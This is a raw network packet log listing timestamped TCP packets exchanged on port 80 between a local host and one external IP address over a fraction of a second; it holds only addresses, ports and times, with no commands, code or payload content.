Apr 25, 2024 21:48:01.857501984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857516050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857532024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857572079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857593060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857605934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857613087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857624054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857635021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857639074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857670069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857708931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857733965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857743979 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857765913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857800007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857834101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857867956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857882977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857894897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857903957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857918024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857923985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857930899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857950926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857958078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857985020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.858000994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.858014107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.858026028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.858033895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.858040094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.858051062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.858064890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.858082056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.858119965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.858134031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.858159065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.858167887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.858169079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.858202934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.858207941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.858241081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.858282089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.858295918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.858319998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.858335972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.891341925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.891355991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.891412973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.891424894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.891455889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.891500950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.900667906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.900721073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.901768923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.901815891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.902142048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.902184963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.902350903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.902393103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.902599096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.902642012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.902757883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.902806997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.902831078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.902870893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.902978897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.903023005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.903146982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.903187990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.903237104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.903278112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.904541016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.904567003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.904580116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.904592991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.904606104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.904617071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.904629946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.904635906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.904654026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.904680014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.904728889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.904767036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.904845953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.904859066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.904887915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.904925108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.904937029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.904967070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.905582905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.905600071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.905612946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.905623913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.905630112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.905635118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.905648947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.905658007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.905662060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.905678034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.905684948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.905690908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.905700922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.905704975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.905719042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.905725002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.905730009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.905745029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.905749083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.905762911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.905783892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.905898094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.905937910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.905940056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.905951023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.905980110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.905997038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906009912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906038046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906058073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906078100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906090021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906121016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906151056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906174898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906189919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906207085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906250000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906260967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906290054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906315088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906353951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906363964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906375885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906385899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906404018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906424046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906455040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906467915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906495094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906522989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906533957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906563997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906564951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906590939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906603098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906622887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906624079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906646013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906661034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906676054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906704903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906718016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906749964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906764984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906774998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906785965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906802893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906821012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906882048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906893969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906903982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906920910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906933069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906939030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906946898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.906965017 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906985998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.906999111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907011032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907036066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907054901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907063961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907088041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907107115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907111883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907120943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907124043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907147884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907161951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907166004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907213926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907221079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907255888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907280922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907291889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907322884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907360077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907372952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907401085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907481909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907493114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907521009 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907532930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907545090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907557011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907572985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907582045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907593966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907607079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907614946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907639027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907715082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907726049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907757044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907767057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907779932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907805920 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907814980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907825947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907836914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907860041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907862902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907876015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907897949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907922983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907960892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.907989025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.907999992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.908031940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.908032894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.908066988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.908159971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.908200979 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.908358097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.908401012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.908425093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.908462048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.908617020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.908629894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.908651114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.908657074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.908670902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.908684969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.908737898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.908776999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.908890963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.908905983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.908935070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.908948898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.909106016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.909147978 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.909274101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.909315109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.909327984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.909343958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.909382105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.909466982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.909508944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.909689903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.909730911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.909895897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.909939051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910105944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910118103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910149097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910161972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910171032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910183907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910211086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910226107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910244942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910259008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910278082 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910294056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910314083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910326958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910358906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910373926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910382032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910407066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910414934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910433054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910437107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910460949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910465002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910473108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910485029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910495043 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910506010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910523891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910530090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910562038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910576105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910588026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910610914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910628080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910660028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910702944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910756111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910794973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910821915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910834074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910852909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910867929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910871983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910897017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.910914898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910928011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.910985947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.911019087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.911037922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.911051989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.911079884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.911092043 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.911101103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.911125898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.911134958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.911156893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.911216974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.911230087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.911261082 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.911274910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.911277056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.911287069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.911305904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.911320925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.955219984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.955265999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.955277920 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.955318928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.955415964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.955429077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.955463886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.955499887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.955542088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.955607891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.955620050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.955651045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.955666065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.955998898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.956042051 CEST	49704	80	192.168.2.5	185.172.128.76
